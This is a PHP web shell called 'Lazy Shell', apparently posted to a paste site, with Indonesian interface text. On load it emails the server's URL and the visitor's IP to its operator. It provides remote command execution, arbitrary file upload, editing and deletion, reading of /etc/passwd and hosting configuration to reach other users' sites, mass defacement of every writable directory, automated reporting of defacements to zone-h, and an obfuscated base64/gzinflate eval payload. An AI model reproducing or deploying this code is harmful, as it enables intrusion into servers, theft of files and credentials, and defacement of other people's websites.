· 5 years ago · Mar 17, 2020, 09:24 AM
1
2<?php
3@ini_set('output_buffering', 0);
4@ini_set('display_errors', 0);
5set_time_limit(0);
6ini_set('memory_limit', '64M');
7header('Content-Type: text/html; charset=UTF-8');
8$tujuanmail = '@gmail.com';
9$x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
10$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
11mail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
12error_reporting(0);
13set_time_limit(0);
14
15if(get_magic_quotes_gpc()){
16foreach($_POST as $key=>$value){
17$_POST[$key] = stripslashes($value);
18}
19}
20echo '<!DOCTYPE HTML>
21<html>
22<head>
23
24<link href="https://fonts.googleapis.com/css?family=Supermercado+One&display=swap" rel="stylesheet">
25<title>:)</title>
26<style>
27body{
28font-family:Supermercado One, sans-serif;
29background-color: #000022;
30background-image: url();
31background-size: center; background-repeat:no-repeat; background-attachment: fixed; background-size: cover; background-position:center;
32color: white;
33}
34#content tr:hover{
35background-color: black;
36text-shadow:0px 0px 10px black;
37}
38#content .first{
39background-color: white;
40}
41table{
42border: 1px #000000 dotted;
43}
44a{
45color: aqua;
46text-decoration: none;
47}
48a:hover{
49color:blue;
50text-shadow:0px 0px 10px #ffffff;
51}
52input,select,textarea{
53border: 1px #000000 solid;
54-moz-border-radius: 5px;
55-webkit-border-radius:5px;
56border-radius:5px;
57}
58.lazy {
59 margin: 0;
60 font-family:Supermercado One;
61}
62</style>
63</head>
64<body>
65<h1><center><img src="https://c.top4top.net/p_11004tbku0.gif" height="350 width="350"><font color="white" face=""><div class="lazy">Lazy Shell</font></center></h1>
66<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
67<tr><td><font color="white">Path :</font> ';
68if(isset($_GET['path'])){
69$path = $_GET['path'];
70}else{
71$path = getcwd();
72}
73$path = str_replace('\\','/',$path);
74$paths = explode('/',$path);
75
76foreach($paths as $id=>$pat){
77if($pat == '' && $id == 0){
78$a = true;
79echo '<a href="?path=/">/</a>';
80continue;
81}
82if($pat == '') continue;
83echo '<a href="?path=';
84for($i=0;$i<=$id;$i++){
85echo "$paths[$i]";
86if($i != $id) echo "/";
87}
88echo '">'.$pat.'</a>/';
89}
90echo '</td></tr><tr><td>';
91if(isset($_FILES['file'])){
92if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
93echo '<font color="aqua">Berhasil Njeng!!!</font><br />';
94}else{
95echo '<font color="red">Gagal Njeng!!!</font><br/>';
96}
97}
98 if(isset($_GET['dir'])) {
99 $dir = $_GET['dir'];
100 chdir($dir);
101} else {
102 $dir = getcwd();
103}
104$ip = gethostbyname($_SERVER['HTTP_HOST']);
105$kernel = php_uname();
106$ip_web = gethostbyname($_SERVER['HTTP_HOST']);
107$ds = @ini_get("disable_functions");
108$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=aqua>Clear</font>";
109if(!function_exists('posix_getegid')) {
110 $user = @get_current_user();
111 $uid = @getmyuid();
112 $gid = @getmygid();
113 $group = "?";
114} else {
115 $uid = @posix_getpwuid(posix_geteuid());
116 $gid = @posix_getgrgid(posix_getegid());
117 $user = $uid['name'];
118 $uid = $uid['uid'];
119 $group = $gid['name'];
120 $gid = $gid['gid'];
121}
122echo "Disable Functions : $show_ds<br>";
123echo "System : <font color=aqua>".$kernel."</font><br>";
124echo "Ip Address : <font color=aqua>".$ip_web."</font><br>";
125echo "<center>";
126echo "<hr>";
127echo "[ <a href='?'>Home</a> ]";
128echo "[ <a href='?dir=$dir&to=zoneh'>Zone-h</a> ]";
129echo "[ <a href='?dir=$dir&to=jumping'>Jumping</a> ]";
130echo "[ <a href='?dir=$dir&to=sym'>Symlink</a> ]";
131echo "[ <a href='?dir=$dir&to=mass'>Mass Depes</a> ]";
132echo "[ <a href='?dir=$dir&to=cmd'>Command</a> ]";
133echo "</center>";
134echo "<hr>";
135if($_GET['to'] == 'zoneh') {
136 if($_POST['submit']) {
137 $domain = explode("\r\n", $_POST['url']);
138 $nick = $_POST['nick'];
139 echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
140 echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
141 function zoneh($url,$nick) {
142 $ch = curl_init("http://www.zone-h.com/notify/single");
143 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
144 curl_setopt($ch, CURLOPT_POST, true);
145 curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
146 return curl_exec($ch);
147 curl_close($ch);
148 }
149 foreach($domain as $url) {
150 $zoneh = zoneh($url,$nick);
151 if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
152 echo "$url -> <font color=lime>OK</font><br>";
153 } else {
154 echo "$url -> <font color=red>ERROR</font><br>";
155 }
156 }
157 } else {
158 echo "<center><form method='post'>
159 <u>Defacer</u>: <br>
160 <input type='text' name='nick' size='50' value='TEH Squad Cyber'><br>
161 <u>Domains</u>: <br>
162 <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
163 <input type='submit' name='submit' value='Submit' style='width: 450px;'>
164 </form>";
165 }
166 echo "</center>";
167} elseif($_GET['to'] == 'mass') {
168 function sabun_massal($dir,$namafile,$isi_script) {
169 if(is_writable($dir)) {
170 $dira = scandir($dir);
171 foreach($dira as $dirb) {
172 $dirc = "$dir/$dirb";
173 $lokasi = $dirc.'/'.$namafile;
174 if($dirb === '.') {
175 file_put_contents($lokasi, $isi_script);
176 } elseif($dirb === '..') {
177 file_put_contents($lokasi, $isi_script);
178 } else {
179 if(is_dir($dirc)) {
180 if(is_writable($dirc)) {
181 echo "[<font color=lime>DONE</font>] $lokasi<br>";
182 file_put_contents($lokasi, $isi_script);
183 $idx = sabun_massal($dirc,$namafile,$isi_script);
184 }
185 }
186 }
187 }
188 }
189 }
190 function sabun_biasa($dir,$namafile,$isi_script) {
191 if(is_writable($dir)) {
192 $dira = scandir($dir);
193 foreach($dira as $dirb) {
194 $dirc = "$dir/$dirb";
195 $lokasi = $dirc.'/'.$namafile;
196 if($dirb === '.') {
197 file_put_contents($lokasi, $isi_script);
198 } elseif($dirb === '..') {
199 file_put_contents($lokasi, $isi_script);
200 } else {
201 if(is_dir($dirc)) {
202 if(is_writable($dirc)) {
203 echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
204 file_put_contents($lokasi, $isi_script);
205 }
206 }
207 }
208 }
209 }
210 }
211 if($_POST['start']) {
212 if($_POST['tipe_sabun'] == 'mahal') {
213 echo "<div style='margin: 5px auto; padding: 5px'>";
214 sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
215 echo "</div>";
216 } elseif($_POST['tipe_sabun'] == 'murah') {
217 echo "<div style='margin: 5px auto; padding: 5px'>";
218 sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
219 echo "</div>";
220 }
221 } else {
222 echo "<center>";
223 echo "<form method='post'>
224 <font style='text-decoration: underline;'>Tipe Mass:</font><br>
225 <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
226 <font style='text-decoration: underline;'>Folder:</font><br>
227 <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
228 <font style='text-decoration: underline;'>Filename:</font><br>
229 <input type='text' name='d_file' value='2k.htm' style='width: 450px;' height='10'><br>
230 <font style='text-decoration: underline;'>Index File:</font><br>
231 <textarea name='script' style='width: 450px; height: 200px;'>Hacked By TEH Squad Cyber</textarea><br>
232 <input type='submit' name='start' value='HAJAR COK!' style='width: 450px;'>
233 </form></center>";
234 }
235 }elseif($_GET['to'] == 'sym') {
236echo '<hr>';
237eval(gzinflate(base64_decode('7Vf/T9tGFP89Uv6H1yOT7ZHaSRBrReKUrjCt0lakAtskqCLHPmOPi8+6u2BSyv++d+fYpE4AlVbaJhWJyHnf/b583ksnnjMGPkglJoLmLAip3ZkcH77/4/D9mXVw9Ob098N3J5P3R0cn1ocuENKFTh6oxBm2W52oNwvSTKL6fpwyahOPqtDLghmN3JBnMdFSW1uJUmhWtltpbFc6zk27tT+7jFJhk4iGwWIiFzPS7b148UIr7YdJg2Wo9JqGNmEZPJfggeBcGXpHe9/BMKyjXKUcI3qbRSgr4RfOGC+OF7Pf0uwSIzhIBQ0VFwsjAMa8m6hZu/U6ik4WOQVFr5WHeUgzcPMkB8P5NcgiRkWT2W4dByqV8QJeZwvLBJLrMGKe08y20HAQ4otLq2sVVhloYfiFSBXmGaW7ZezOcD8OGZclUYvSMOFA2q2RCqaMQsDSi8wPaaYwjCkXERX+DlZtwahvFWmkkr2fej8MS87zkDMu9rZe/tzDv6E11maE+Yw+szQexTxTYMR9ls4oyPQj9QfjYxfecXfkafZ45KnoS5QPuCnxE7VPJRVP1cVCMyx0Q9vDdyemX0M+Rz0f+vgt5oIGYVJ3JAQSls+6ObFXqaAXqU0+8oySbsVybnIkT2aBCpNJwJhtbWkBILb7o0O2rG5lRD+UidDljNlcJrZ+QsM4bAwbRIl0ZldCZ/0PZ70PjgNjGGj/nTnmAUPNuUyvJxdU5cU8jWwzaLzIqFhO2xUmJpBUesRtmqq7CIvfyB8mpszhMnEEXKjS46LCPelnNEZqAImgsY9jne95XlEUbtO3S7yqRiyQ0lfXarwuU3sJVjxpOf3qZ5bGEcuI1bzKtdXRsOXV6OBpKPASPqPemrqXz6csDSc45cwCFQjMpW9NpizILq21KJsdtAxt2UOwWshlvra3h7e3t3WqPTOvpt9uKZNUl/Lk8PjELyHSMkXL0V0RWWU7gG0EnoSI/3VAhMcQER6AROQ2UREqWIQHcLE/LtEO7sEN0/M7GzHuEZUN2PSYk3VEqvEIPgckMO9dJ4usdApuXSKIA1wAvU6VTU4z8/aKg5YFrfjMVB6KRLfZs5hyXLaa7ujGgo7e0jG2vlxSjUODYlSzAiGChV1SdUB3IIcte+4huL1yzvfOPU9qhJPdWrdpaPWQIOVEdvFqqCRw9o3GHQrWhhD5+gP49AnWGL4PPc24c+MDmaYZWSPqlP3V73uxXOddBcJj6dTL7mMGIi80aTP3gucJFes8uTEQYy+arTPmEk0hNN0TQ6zyzW+VbWJoDcTfzQxzhxEHk423mEqzOb0bID0gDzXuho3wYLevwLzWq0KpFMmq50cMVBj/AMQ3XKwi/BrA1wMY3DN9Gr9rlKkmownmJZTr+5VLeIYJ/jPNIl5I4tzci9mbEFtfsGt4fYfW6PkLAbvXe/kNoLrd+mqwfgCpq0Ing2WZrcsBYzs70aAuDxxTcUXFyEsG428C7m8P/lVgV3SWY6IIGXbwQOvjY888DTTW65schfAAtZfskQ+GW37d3nbgpoPXnv5h1bj/jMASQfFwQJJTOnN9+JunWLY9q2vILjnPsHGrSlijqfDG1rAKrTw+9ZdlA+4i0URllo+iUrk4jgjeRblY4nxeLY/d7lJRk1dGZxdNray0ap9tsvpV+2x9mX2bTfZ9jX1fY//nNdYYxw2bbORF6RV+LoMmw3mmza5MplG6Bb3v4E59EwK+CbKM4yvjz2hFoYmHtQdtrvx/Nf4H')));
238} elseif($_GET['to'] == 'jumping') {
239 $i = 0;
240 echo "<div class='margin: 5px auto;'>";
241 if(preg_match("/hsphere/", $dir)) {
242 $urls = explode("\r\n", $_POST['url']);
243 if(isset($_POST['jump'])) {
244 echo "<pre>";
245 foreach($urls as $url) {
246 $url = str_replace(array("http://","www."), "", strtolower($url));
247 $etc = "/etc/passwd";
248 $f = fopen($etc,"r");
249 while($gets = fgets($f)) {
250 $pecah = explode(":", $gets);
251 $user = $pecah[0];
252 $dir_user = "/hsphere/local/home/$user";
253 if(is_dir($dir_user) === true) {
254 $url_user = $dir_user."/".$url;
255 if(is_readable($url_user)) {
256 $i++;
257 $jrw = "[<font color=lime>R</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
258 if(is_writable($url_user)) {
259 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$url_user'><font color=gold>$url_user</font></a>";
260 }
261 echo $jrw."<br>";
262 }
263 }
264 }
265 }
266 if($i == 0) {
267 } else {
268 echo "<br>Total ada ".$i." Kamar di ".$ip;
269 }
270 echo "</pre>";
271 } else {
272 echo '<center>
273 <form method="post">
274 List Domains: <br>
275 <textarea name="url" style="width: 500px; height: 250px;">';
276 $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
277 while($getss = fgets($fp)) {
278 echo $getss;
279 }
280 echo '</textarea><br>
281 <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
282 </form></center>';
283 }
284 } elseif(preg_match("/vhosts|vhost/", $dir)) {
285 preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
286 $urls = explode("\r\n", $_POST['url']);
287 if(isset($_POST['jump'])) {
288 echo "<pre>";
289 foreach($urls as $url) {
290 $url = str_replace("www.", "", $url);
291 $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
292 if(is_dir($web_vh) === true) {
293 if(is_readable($web_vh)) {
294 $i++;
295 $jrw = "[<font color=lime>R</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
296 if(is_writable($web_vh)) {
297 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$web_vh'><font color=gold>$web_vh</font></a>";
298 }
299 echo $jrw."<br>";
300 }
301 }
302 }
303 if($i == 0) {
304 } else {
305 echo "<br>Total ada ".$i." Kamar di ".$ip;
306 }
307 echo "</pre>";
308 } else {
309 echo '<center>
310 <form method="post">
311 List Domains: <br>
312 <textarea name="url" style="width: 500px; height: 250px;">';
313 bing("ip:$ip");
314 echo '</textarea><br>
315 <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
316 </form></center>';
317 }
318 } else {
319 echo "<pre>";
320 $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
321 while($passwd = fgets($etc)) {
322 if($passwd == '' || !$etc) {
323 echo "<font color=red>Can't read /etc/passwd</font>";
324 } else {
325 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
326 foreach($user_jumping[1] as $user_idx_jump) {
327 $user_jumping_dir = "/home/$user_idx_jump/public_html";
328 if(is_readable($user_jumping_dir)) {
329 $i++;
330 $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
331 if(is_writable($user_jumping_dir)) {
332 $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
333 }
334 echo $jrw;
335 if(function_exists('posix_getpwuid')) {
336 $domain_jump = file_get_contents("/etc/named.conf");
337 if($domain_jump == '') {
338 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
339 } else {
340 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
341 foreach($domains_jump[1] as $dj) {
342 $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
343 $user_jumping_url = $user_jumping_url['name'];
344 if($user_jumping_url == $user_idx_jump) {
345 echo " => ( <u>$dj</u> )<br>";
346 break;
347 }
348 }
349 }
350 } else {
351 echo "<br>";
352 }
353 }
354 }
355 }
356 }
357 if($i == 0) {
358 } else {
359 echo "<br>Total ada ".$i." Kamar di ".$ip;
360 }
361 echo "</pre>";
362 }
363 echo "</div>";
364} elseif($_GET['to'] == 'cmd') {
365 echo "<form method='post'>
366 <font style='text-decoration: underline;'>".$user."@".$ip.": ~ $ </font>
367 <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
368 </form>";
369 if($_POST['do_cmd']) {
370 echo "<pre>".exe($_POST['cmd'])."</pre>";
371 }
372}
373echo '<form enctype="multipart/form-data" method="POST">
374<font color="white">File Upload :</font> <input type="file" name="file" />
375<input type="submit" value="Crotz" />
376</form>
377</td></tr>';
378if(isset($_GET['filesrc'])){
379echo "<tr><td>Current File : ";
380echo $_GET['filesrc'];
381echo '</tr></td></table><br />';
382echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
383}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
384echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
385if($_POST['opt'] == 'chmod'){
386if(isset($_POST['perm'])){
387if(chmod($_POST['path'],$_POST['perm'])){
388echo '<font color="aqua">Change Permission Berhasil</font><br/>';
389}else{
390echo '<font color="red">Change Permission Gagal</font><br />';
391}
392}
393echo '<form method="POST">
394Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
395<input type="hidden" name="path" value="'.$_POST['path'].'">
396<input type="hidden" name="opt" value="chmod">
397<input type="submit" value="Go" />
398</form>';
399}elseif($_POST['opt'] == 'rename'){
400if(isset($_POST['newname'])){
401if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
402echo '<font color="aqua">Ganti Nama Berhasil</font><br/>';
403}else{
404echo '<font color="red">Ganti Nama Gagal</font><br />';
405}
406$_POST['name'] = $_POST['newname'];
407}
408echo '<form method="POST">
409Nama Baru : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
410<input type="hidden" name="path" value="'.$_POST['path'].'">
411<input type="hidden" name="opt" value="rename">
412<input type="submit" value="Crotz" />
413</form>';
414}elseif($_POST['opt'] == 'edit'){
415if(isset($_POST['src'])){
416$fp = fopen($_POST['path'],'w');
417if(fwrite($fp,$_POST['src'])){
418echo '<font color="aqua">Berhasil Edit File</font><br/>';
419}else{
420echo '<font color="red">Gagal Edit File</font><br/>';
421}
422fclose($fp);
423}
424echo '<form method="POST">
425<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
426<input type="hidden" name="path" value="'.$_POST['path'].'">
427<input type="hidden" name="opt" value="edit">
428<input type="submit" value="Save" />
429</form>';
430}
431echo '</center>';
432}else{
433echo '</table><br/><center>';
434if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
435if($_POST['type'] == 'dir'){
436if(rmdir($_POST['path'])){
437echo '<font color="aqua">Directory Terhapus</font><br/>';
438}else{
439echo '<font color="red">Directory Gagal Terhapus </font><br/>';
440}
441}elseif($_POST['type'] == 'file'){
442if(unlink($_POST['path'])){
443echo '<font color="aqua">File Terhapus</font><br/>';
444}else{
445echo '<font color="red">File Gagal Dihapus</font><br/>';
446}
447}
448}
449echo '</center>';
450$scandir = scandir($path);
451echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
452<tr class="first">
453<td><center>Name</peller></center></td>
454<td><center>Size</peller></center></td>
455<td><center>Permission</peller></center></td>
456<td><center>Modify</peller></center></td>
457</tr>';
458
459foreach($scandir as $dir){
460if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
461echo '<tr>
462<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
463<td><center>--</center></td>
464<td><center>';
465if(is_writable($path.'/'.$dir)) echo '<font color="aqua">';
466elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
467echo perms($path.'/'.$dir);
468if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
469
470echo '</center></td>
471<td><center><form method="POST" action="?option&path='.$path.'">
472<select name="opt">
473<option value="">Select</option>
474<option value="delete">Delete</option>
475<option value="chmod">Chmod</option>
476<option value="rename">Rename</option>
477</select>
478<input type="hidden" name="type" value="dir">
479<input type="hidden" name="name" value="'.$dir.'">
480<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
481<input type="submit" value=">">
482</form></center></td>
483</tr>';
484}
485echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
486foreach($scandir as $file){
487if(!is_file($path.'/'.$file)) continue;
488$size = filesize($path.'/'.$file)/1024;
489$size = round($size,3);
490if($size >= 1024){
491$size = round($size/1024,2).' MB';
492}else{
493$size = $size.' KB';
494}
495
496echo '<tr>
497<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
498<td><center>'.$size.'</center></td>
499<td><center>';
500if(is_writable($path.'/'.$file)) echo '<font color="aqua">';
501elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
502echo perms($path.'/'.$file);
503if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
504echo '</center></td>
505<td><center><form method="POST" action="?option&path='.$path.'">
506<select name="opt">
507<option value="">Pilih</option>
508<option value="delete">Hapus</option>
509<option value="chmod">Chmod</option>
510<option value="rename">Ganti Nama</option>
511<option value="edit">Ubah</option>
512</select>
513<input type="hidden" name="type" value="file">
514<input type="hidden" name="name" value="'.$file.'">
515<input type="hidden" name="path" value="'.$path.'/'.$file.'">
516<input type="submit" value=">">
517</form></center></td>
518</tr>';
519}
520echo '</table>
521</div>';
522}
523echo '<center><br/>Greetz~ : Kedjaw3n - c0rotlren9</center>
524</body>
525</html>';
526function perms($file){
527$perms = fileperms($file);
528
529if (($perms & 0xC000) == 0xC000) {
530// Socket
531$info = 's';
532} elseif (($perms & 0xA000) == 0xA000) {
533// Symbolic Link
534$info = 'l';
535} elseif (($perms & 0x8000) == 0x8000) {
536// Regular
537$info = '-';
538} elseif (($perms & 0x6000) == 0x6000) {
539// Block special
540$info = 'b';
541} elseif (($perms & 0x4000) == 0x4000) {
542// Directory
543$info = 'd';
544} elseif (($perms & 0x2000) == 0x2000) {
545// Character special
546$info = 'c';
547} elseif (($perms & 0x1000) == 0x1000) {
548// FIFO pipe
549$info = 'p';
550} else {
551// Unknown
552$info = 'u';
553}
554
555// Owner
556$info .= (($perms & 0x0100) ? 'r' : '-');
557$info .= (($perms & 0x0080) ? 'w' : '-');
558$info .= (($perms & 0x0040) ?
559(($perms & 0x0800) ? 's' : 'x' ) :
560(($perms & 0x0800) ? 'S' : '-'));
561
562// Group
563$info .= (($perms & 0x0020) ? 'r' : '-');
564$info .= (($perms & 0x0010) ? 'w' : '-');
565$info .= (($perms & 0x0008) ?
566(($perms & 0x0400) ? 's' : 'x' ) :
567(($perms & 0x0400) ? 'S' : '-'));
568
569// World
570$info .= (($perms & 0x0004) ? 'r' : '-');
571$info .= (($perms & 0x0002) ? 'w' : '-');
572$info .= (($perms & 0x0001) ?
573(($perms & 0x0200) ? 't' : 'x' ) :
574(($perms & 0x0200) ? 'T' : '-'));
575
576return $info;
577}
578?>